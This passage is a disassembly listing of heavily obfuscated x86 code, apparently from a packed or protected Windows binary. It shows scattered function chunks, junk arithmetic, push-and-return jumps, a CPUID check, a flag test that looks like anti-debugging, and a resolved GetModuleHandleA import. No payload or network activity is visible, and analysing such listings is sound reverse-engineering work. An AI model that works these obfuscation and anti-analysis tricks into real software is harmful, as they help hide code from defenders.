; START	OF FUNCTION CHUNK FOR sub_42742E


loc_424C36:				; CODE XREF: sub_42742E-1ABj
		adc	ecx, 0BC7238D7h


loc_424C3C:				; CODE XREF: sub_42742E:loc_42E6D0j
		call	sub_42D757
		mov	edx, 71D66982h
		push	esi
		push	0DD4EF091h
		mov	esi, ecx
		jmp	loc_42F25C
; END OF FUNCTION CHUNK	FOR sub_42742E
; ---------------------------------------------------------------------------


loc_424C53:				; CODE XREF: _7hdaygc1:0042C28Dj
		jge	loc_429222
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_424C5A:				; CODE XREF: sub_42CDF7:loc_424410j
		xor	ebx, 0A71DDA2h
		add	ebx, ebp
		add	ebx, 1CEB399h
		mov	al, [ebx]
		push	offset loc_42C54D
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_424C74:				; CODE XREF: sub_4232C2+13j
		mov	eax, 80000000h
		cpuid
		cmp	eax, 80000000h
		jbe	loc_42E845
		jmp	loc_428637
; END OF FUNCTION CHUNK	FOR sub_4232C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_424C8B:				; CODE XREF: sub_423172:loc_429BCFj
		mov	ebp, [esi]


loc_424C8D:				; CODE XREF: sub_423172:loc_4283F4j
		call	sub_42D757
		push	53CF1416h
		pop	edx
		jmp	loc_429093
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------


loc_424C9D:				; CODE XREF: _7hdaygc1:loc_42E279j
		rol	ecx, 2
		or	ecx, 641A42Bh
		cmp	ecx, 0D109AFB0h
		jmp	loc_42C22E
; ---------------------------------------------------------------------------


loc_424CB1:				; CODE XREF: _7hdaygc1:004260EAj
		jp	loc_428CAF
		xor	ebp, 663D636Dh
		jbe	nullsub_110
		jmp	loc_427257
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_424CC8:				; CODE XREF: sub_42FD11-C72Cj
		pop	esi
		xor	esi, 91CC8D53h
		cmp	esi, 30A8106Dh
		jmp	loc_42AD59
; END OF FUNCTION CHUNK	FOR sub_42FD11
; ---------------------------------------------------------------------------


loc_424CDA:				; CODE XREF: _7hdaygc1:0042CCD8j
		or	ebx, 0FA23EE9Ch

; =============== S U B	R O U T	I N E =======================================



sub_424CE0	proc near		; CODE XREF: sub_4291EA+4513p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423B88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004246EF SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00425048 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042688C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426F9F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429F63 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A72F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AE4A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042AE79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E1DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EDD7 SIZE 0000001B BYTES

		xchg	esi, [esp+0]
		pop	esi
		ror	eax, 12h
		jmp	loc_42E1DD
sub_424CE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_424CEC:				; CODE XREF: sub_423410+35DFj
		jz	loc_42634C
		jmp	loc_427F54
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------


loc_424CF7:				; CODE XREF: _7hdaygc1:00427F44j
		popf
		jmp	loc_42EDD7
; ---------------------------------------------------------------------------
		xchg	ebp, [edx]
		jmp	sub_429FC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_424D04:				; CODE XREF: sub_42AA47:loc_42EB48j
		jge	loc_42346F


loc_424D0A:				; CODE XREF: sub_42ED70+7j
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E4D7


loc_424D0F:				; CODE XREF: sub_42E4D7+Aj
		jmp	loc_429283
; END OF FUNCTION CHUNK	FOR sub_42E4D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B4DE


loc_424D14:				; CODE XREF: sub_42B4DE+16j
		jmp	loc_42E656
; END OF FUNCTION CHUNK	FOR sub_42B4DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B20


loc_424D19:				; CODE XREF: sub_423B20+53E1j
		jmp	loc_42CBD1
; END OF FUNCTION CHUNK	FOR sub_423B20
; ---------------------------------------------------------------------------
		jnb	loc_429222
		xor	edx, edi
		xchg	esi, [ecx]
		jmp	loc_42964E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E2E


loc_424D2D:				; CODE XREF: sub_426E2E+1EFDj
		mov	ecx, [ebp-30h]
		call	sub_42A94C
; END OF FUNCTION CHUNK	FOR sub_426E2E
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_424D35:				; CODE XREF: sub_42F65A-56Dj
		mov	eax, [ebp-34h]
		shl	eax, 3
		lea	eax, [eax+eax*4]
		push	ebx
		push	0EA6DC87Dh
		jmp	loc_42F83B
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
		adc	ebp, 0E6849564h
		jmp	sub_42D0FB
; ---------------------------------------------------------------------------
		jg	loc_425148
		jmp	sub_425D85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_424D5F:				; CODE XREF: sub_425C3B:loc_426211j
					; _7hdaygc1:00426A33j
		sbb	ebp, 1A27D98Fh
; END OF FUNCTION CHUNK	FOR sub_425C3B

; =============== S U B	R O U T	I N E =======================================



sub_424D65	proc near		; CODE XREF: sub_42C443:loc_42C394p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00428068 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_428068
sub_424D65	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_424D71:				; CODE XREF: sub_42EF91-1A33j
		jno	loc_423A78
		mov	[edx], ebp


loc_424D79:				; CODE XREF: sub_42EF91:loc_42CE5Aj
		push	2010h
		push	0
		call	sub_428C3B
		jmp	loc_4251C9
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
		and	ebx, 0C4810AE8h
		jmp	loc_42F8D9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CC76


loc_424D96:				; CODE XREF: sub_42CC76+Dj
		jmp	loc_429BD8
; END OF FUNCTION CHUNK	FOR sub_42CC76
; ---------------------------------------------------------------------------

locret_424D9B:				; CODE XREF: _7hdaygc1:loc_42F446j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240B0


loc_424D9C:				; CODE XREF: sub_4240B0+B358j
		jmp	loc_425EB7
; END OF FUNCTION CHUNK	FOR sub_4240B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429098


loc_424DA1:				; CODE XREF: sub_429098+1Aj
		jmp	loc_42532F
; END OF FUNCTION CHUNK	FOR sub_429098
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424DA7	proc near		; DATA XREF: sub_426EBD:loc_4247ABo
		push	eax
		retn
sub_424DA7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: _7hdaygc1:0042B38Fj
		jmp	loc_428CB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B034


loc_424DAE:				; CODE XREF: sub_42B034+1Ej
		jmp	loc_423785
; END OF FUNCTION CHUNK	FOR sub_42B034
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_424DB3:				; CODE XREF: sub_425A37+439Aj
		jmp	loc_4264D0
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------


loc_424DB8:				; CODE XREF: _7hdaygc1:loc_42BE5Dj
		push	edx
		xor	edx, 0D0D3FA84h
		jmp	loc_42B5E7
; ---------------------------------------------------------------------------
		xor	esi, 7631187Dh
		mov	eax, [edx]
		jmp	sub_428948
; ---------------------------------------------------------------------------


loc_424DD1:				; DATA XREF: sub_4246D7+1F58o
		mov	edx, [ebp+8]
		jmp	loc_42A527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_424DD9:				; CODE XREF: sub_4246D7:loc_42CE42j
		push	offset loc_423364
		jmp	loc_4253EA
; END OF FUNCTION CHUNK	FOR sub_4246D7
; ---------------------------------------------------------------------------


loc_424DE3:				; DATA XREF: sub_42A833:loc_4244F2o
		rol	eax, 3
		push	eax
		call	sub_42B650
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424DEE:				; CODE XREF: _7hdaygc1:0042BAB6j
		jmp	locret_42DD21

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF3	proc near		; CODE XREF: sub_42E283:loc_425883p
					; sub_4282A9+32B7p ...

; FUNCTION CHUNK AT 00423AD5 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_423AD5
sub_424DF3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_424DFB:				; CODE XREF: sub_4253A0:loc_427222j
					; sub_42BEDA+1578j
		call	sub_42FD2A
		test	eax, eax
		jnz	loc_4268F1
		jmp	loc_42DD4A
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------


loc_424E0D:				; CODE XREF: _7hdaygc1:00423BB0j
		and	eax, ecx
		adc	eax, edx
		ror	ecx, 1Eh
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_424E14:				; CODE XREF: sub_423DFC:loc_423B9Fj
		xor	eax, 0E81E1CC6h
		jmp	loc_426361
; END OF FUNCTION CHUNK	FOR sub_423DFC

; =============== S U B	R O U T	I N E =======================================



sub_424E1F	proc near		; DATA XREF: sub_42A4F1:loc_42638Eo
		call	sub_42D757
		mov	edx, 19CFC62Bh
		call	sub_42C1AF
		call	sub_42C712
sub_424E1F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_424E33:				; CODE XREF: sub_4291EA+30F6j
		jmp	nullsub_143
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_424E38:				; CODE XREF: sub_42F05E-7C35j
		jmp	loc_42914E
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_424E3D:				; CODE XREF: sub_425A37+5Ej
		jmp	loc_42E71C
; END OF FUNCTION CHUNK	FOR sub_425A37

; =============== S U B	R O U T	I N E =======================================



sub_424E42	proc near		; DATA XREF: sub_426130:loc_42D37Fo

; FUNCTION CHUNK AT 004244FC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00427DBB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ABC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C859 SIZE 00000011 BYTES

		mov	edi, [edi]


loc_424E44:				; CODE XREF: _7hdaygc1:loc_42F318j
		add	eax, edi
		pop	edi
		push	edi
		jmp	loc_427DBB
sub_424E42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_424E4D:				; CODE XREF: sub_423172+2E4Ej
					; sub_423172+30CEj ...
		push	0E3A6294Ch
		pop	eax
		xor	eax, 0A475A037h
		add	eax, 4FCD2D66h
		and	eax, 0FC0C5B1Ch
		xor	eax, 0A568FEE8h
		add	eax, 0DA5E6793h
		add	eax, ebp
		jmp	loc_42F083
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------


loc_424E78:				; CODE XREF: _7hdaygc1:0042DF8Bj
		jnp	loc_42913C

; =============== S U B	R O U T	I N E =======================================



sub_424E7E	proc near		; CODE XREF: sub_4291CE+4950p

; FUNCTION CHUNK AT 004248DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042856C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004295B9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042BF91 SIZE 0000001C BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebx], edx
		pop	ebx
		jmp	loc_4248DF
sub_424E7E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424E8A:				; CODE XREF: _7hdaygc1:00423E98j
		sub	ebx, esi
		jmp	loc_4256F2
; ---------------------------------------------------------------------------

locret_424E91:				; CODE XREF: _7hdaygc1:loc_42DD22j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_424E92:				; CODE XREF: sub_42F789-6673j
		jmp	loc_424A85
; END OF FUNCTION CHUNK	FOR sub_42F789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_424E97:				; CODE XREF: sub_4246D7+1F5Dj
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_4246D7

; =============== S U B	R O U T	I N E =======================================



sub_424E9C	proc near		; DATA XREF: _7hdaygc1:00429644o

; FUNCTION CHUNK AT 0042A745 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BA5A SIZE 00000005 BYTES

		pop	ebp
		cmp	dword ptr [ebp-38h], 0
		jle	loc_426C06
		jmp	loc_42BA5A
sub_424E9C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_424EAC:				; CODE XREF: sub_42BB83+1315j
		xchg	esi, [ebx]
		mov	ebx, esi
		push	eax


loc_424EB1:				; CODE XREF: sub_42BB83:loc_423FB3j
		push	esi
		push	4FCFFCE1h
		xchg	ebp, [esp+0]
		mov	esi, ebp
		pop	ebp
		jmp	loc_42431E
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
		jl	loc_42DA02
		xor	ebx, 0C678E3A3h
		jmp	sub_425B78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_424ED3:				; CODE XREF: sub_42A4F1-5306j
		test	ecx, edx
		jmp	loc_426386
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_424EDA:				; CODE XREF: sub_42C443:loc_42358Fj
		jnz	loc_42619E
		jmp	loc_42EF15
; ---------------------------------------------------------------------------


loc_424EE5:				; CODE XREF: sub_42C443:loc_42F411j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_4239BA
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_42619E
		jmp	loc_429BF7
; END OF FUNCTION CHUNK	FOR sub_42C443

; =============== S U B	R O U T	I N E =======================================



sub_424F0A	proc near		; CODE XREF: sub_428E56+4F83p
					; _7hdaygc1:0042FC18j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042B186 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	esi, [esp-4+arg_0]
		push	4AD9576Ch
		pop	edx
		rol	edx, 1Ah
		jmp	loc_42B186
sub_424F0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esi, eax
		shl	ecx, 1Ah
		jmp	sub_426B62
; ---------------------------------------------------------------------------


loc_424F29:				; CODE XREF: _7hdaygc1:00429A05j
		jge	loc_42DFB2

; =============== S U B	R O U T	I N E =======================================



sub_424F2F	proc near		; CODE XREF: _7hdaygc1:00427F6Dp
		xchg	esi, [esp+0]
		pop	esi
		push	17BFBE58h
		pop	ecx
		jmp	loc_42901B
sub_424F2F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_424F3E	proc near		; CODE XREF: _7hdaygc1:0042338Ep
					; _7hdaygc1:0042B2E1j

arg_4		= dword	ptr  8

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax


loc_424F43:				; CODE XREF: sub_42B74A:loc_423398j
		pop	ecx
		pop	eax
		xchg	esi, [esp-8+arg_4]
		mov	ebp, esi
		pop	esi
		jmp	sub_42D859
sub_424F3E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_424F50:				; CODE XREF: sub_42C50D+2266j
		pop	ebx
		xchg	ebx, [esp+4+var_4]
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42E188
		jmp	loc_42BC28
; END OF FUNCTION CHUNK	FOR sub_42C50D

; =============== S U B	R O U T	I N E =======================================



sub_424F62	proc near		; DATA XREF: sub_42F3C8:loc_42EA29o

; FUNCTION CHUNK AT 00425A08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042618B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426769 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F8F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426FC2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042876F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429F2F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042A35D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A6F3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042AC5B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042AEC3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AEF5 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0042C4D9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C60D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CF2A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042D79D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E7E6 SIZE 0000000F BYTES

		popf
		pushf
		pop	eax
		xor	eax, ecx
		jnz	loc_42AEF5
		jmp	loc_425A08
sub_424F62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_424F72:				; CODE XREF: sub_425E64:loc_42933Aj
		jnz	loc_42947F
		push	edx
		jmp	loc_429471
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
		xor	edx, 0DA976C40h
		jmp	sub_423DAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_424F89:				; CODE XREF: sub_426130:loc_425725j
		call	sub_427CC6


loc_424F8E:				; CODE XREF: sub_42FCD3-A52Fj
		jz	loc_425083
		jmp	loc_42BF56
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_424F99:				; CODE XREF: sub_425E64+9CE6j
		xor	edx, 62450251h
		jmp	loc_42F18C
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_424FA4:				; CODE XREF: sub_42EE8A-3D20j
		cmp	eax, 0B8990B90h


loc_424FAA:				; CODE XREF: _7hdaygc1:loc_42DBA8j
		jmp	loc_426FCD
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_424FAF:				; CODE XREF: sub_42BB83:loc_42BE07j
		call	sub_42D85F
		jmp	loc_42417B
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
		push	0
		call	sub_42D85F
		jmp	loc_427FA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D1B


loc_424FC5:				; CODE XREF: sub_429D1B:loc_42C16Aj
		push	offset sub_423CCC
		jmp	loc_424804
; END OF FUNCTION CHUNK	FOR sub_429D1B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42450E


loc_424FD0:				; CODE XREF: sub_42F8C4-542Bj
					; sub_42450E+8DA0j ...
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		jmp	loc_42D2DD
; END OF FUNCTION CHUNK	FOR sub_42450E
; ---------------------------------------------------------------------------


loc_424FDB:				; DATA XREF: sub_42DD73:loc_426588o
		call	sub_42EB3E


loc_424FE0:				; CODE XREF: _7hdaygc1:004231D8j
		jmp	locret_42E2E1

; =============== S U B	R O U T	I N E =======================================



sub_424FE5	proc near		; CODE XREF: sub_423E31+8p
					; _7hdaygc1:00429597j

; FUNCTION CHUNK AT 004238C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425F30 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, 8DEBB3F1h
		mov	eax, [eax]
		jmp	loc_4238C0
sub_424FE5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_424FF6:				; CODE XREF: _7hdaygc1:004239B5j
					; sub_423410:loc_42472Dj
		or	edi, 7D05F3E0h
		test	edi, 800000h
		jmp	loc_42A3F2
; END OF FUNCTION CHUNK	FOR sub_423410
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_425008	proc near		; DATA XREF: sub_42EFF5+2o

; FUNCTION CHUNK AT 004258E6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042689C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00429B89 SIZE 00000005 BYTES

		push	746825E9h
		sub	ecx, 1471D1EDh
		jmp	loc_4258E6
sub_425008	endp

; ---------------------------------------------------------------------------


loc_425018:				; DATA XREF: sub_42C369:loc_426357o
		add	[ebp-4], eax
		mov	eax, [ebp-4]
		shl	eax, 9
		add	[ebp-4], eax
		mov	eax, [ebp-4]
		jns	loc_42C100
		jmp	loc_428485
; ---------------------------------------------------------------------------


loc_425032:				; CODE XREF: _7hdaygc1:004286EFj
		mov	ebp, esp
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_2
		mov	byte ptr [eax],	0C3h
		mov	[ebp-4], eax
		jmp	loc_42425B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_425048:				; CODE XREF: sub_424CE0-5CFj
		add	eax, ebp
		add	eax, 9BA5916Fh
		push	offset sub_42DDF5
		jmp	loc_42AE79
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------

locret_42505A:				; CODE XREF: _7hdaygc1:loc_42CA90j
		retn
; ---------------------------------------------------------------------------


loc_42505B:				; CODE XREF: _7hdaygc1:004287FBj
		jmp	loc_42C655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F789


loc_425060:				; CODE XREF: sub_42F789:loc_42358Aj
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp-4]
		add	[edx], eax
		mov	eax, [ebp-4]
		mov	eax, [eax]
		jmp	loc_424B9F
; END OF FUNCTION CHUNK	FOR sub_42F789
; ---------------------------------------------------------------------------


loc_425072:				; DATA XREF: sub_423A6D-40Fo
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		jmp	loc_42A248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_425083:				; CODE XREF: sub_426130:loc_424F8Ej
					; sub_426130+94j
		mov	eax, [ebp-2Ch]
		cmp	eax, [ebp-18h]
		jz	loc_42F171


loc_42508F:				; CODE XREF: _7hdaygc1:004249EBj
		jmp	loc_42F147
; END OF FUNCTION CHUNK	FOR sub_426130

; =============== S U B	R O U T	I N E =======================================



sub_425094	proc near		; DATA XREF: sub_42DAF7-4A01o
		xchg	esi, [esp+0]
		jmp	sub_426CBB
sub_425094	endp

; ---------------------------------------------------------------------------
		push	edx
		push	4FC5C157h
		pop	edx
		rol	edx, 0Ch
		xor	edx, 0BD41B30Bh
		add	edx, ebp
		jmp	loc_425DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_4250B3:				; CODE XREF: sub_42AA47:loc_42F5ACj
		call	sub_4268D9


loc_4250B8:				; CODE XREF: sub_42450E+3FB5j
		push	327A2B62h
		ror	ecx, 8


loc_4250C0:				; CODE XREF: sub_42450E:loc_426104j
		mov	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_42E77E
; END OF FUNCTION CHUNK	FOR sub_42AA47
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A2B


loc_4250CB:				; CODE XREF: sub_424A2B-723j
		jmp	loc_42BB48
; END OF FUNCTION CHUNK	FOR sub_424A2B
; ---------------------------------------------------------------------------

locret_4250D0:				; CODE XREF: _7hdaygc1:00429649j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426471


loc_4250D1:				; CODE XREF: sub_426471:loc_428F0Cj
		push	offset sub_4255F3


loc_4250D6:				; CODE XREF: _7hdaygc1:loc_42A13Aj
		jmp	loc_42998F
; END OF FUNCTION CHUNK	FOR sub_426471
; ---------------------------------------------------------------------------


loc_4250DB:				; CODE XREF: _7hdaygc1:loc_423CA0j
		or	eax, ds:4000F7h
		and	eax, 0FE2F564Dh
		add	eax, 6A61A88Ah
		xor	eax, 506D4C05h
		add	eax, 8F6109D2h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_42CFF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423812


loc_425102:				; CODE XREF: sub_423812+16j
		sub	esi, 0FE36AA32h
		cmp	esi, 0C2F4598Ah
		jmp	loc_4235F8
; END OF FUNCTION CHUNK	FOR sub_423812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F642


loc_425113:				; CODE XREF: sub_42F642-91D6j
		jge	loc_42436E
; END OF FUNCTION CHUNK	FOR sub_42F642
; START	OF FUNCTION CHUNK FOR sub_423A6D


loc_425119:				; CODE XREF: sub_423A6D-40Aj
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_423A6D
; ---------------------------------------------------------------------------
		not	edi
		mov	ebp, 43FBBAB6h
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_425125:				; CODE XREF: sub_42AFFE:loc_4236F4j
		jmp	loc_42436E
; END OF FUNCTION CHUNK	FOR sub_42AFFE

; =============== S U B	R O U T	I N E =======================================



sub_42512A	proc near		; DATA XREF: sub_425522+3AD4o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423077 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004235A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042744B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428241 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00428391 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B280 SIZE 00000014 BYTES

		mov	[esi], eax
		xchg	edi, [esp+0]
		mov	esi, edi
		pop	edi
		jmp	loc_4235A3
sub_42512A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Ah
		dd 368CE8B9h, 0B1238B1Bh, 7092008Dh ; DATA XREF: sub_42DBF7+1E27o
dword_425144	dd 7C900000h						; sub_42DBF7:loc_42AB6Cr
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: _7hdaygc1:00423C75j
					; _7hdaygc1:00424D54j
		jmp	locret_426DB8
; ---------------------------------------------------------------------------
		db 0A4h, 0D1h, 0D2h
dword_425150	dd 0							; sub_429766:loc_428926r ...
dword_425154	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; _7hdaygc1:loc_425BE8w ...
dword_425158	dd 27C80244h						; sub_42B32F+Cr ...
dword_42515C	dd 0							; sub_424494-145w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAF7


loc_425160:				; CODE XREF: sub_42DAF7+Cj
		jmp	loc_427336
; END OF FUNCTION CHUNK	FOR sub_42DAF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_425165:				; CODE XREF: sub_425A37+19j
		jmp	loc_42625B
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_42516A:				; CODE XREF: sub_4270E6:loc_42D06Cj
		pop	ebx
		sub	ebx, 0EA2D37AAh
		js	loc_425C7C
		cmp	esi, 0B0D98D64h
		jmp	loc_42C310
; END OF FUNCTION CHUNK	FOR sub_4270E6

; =============== S U B	R O U T	I N E =======================================



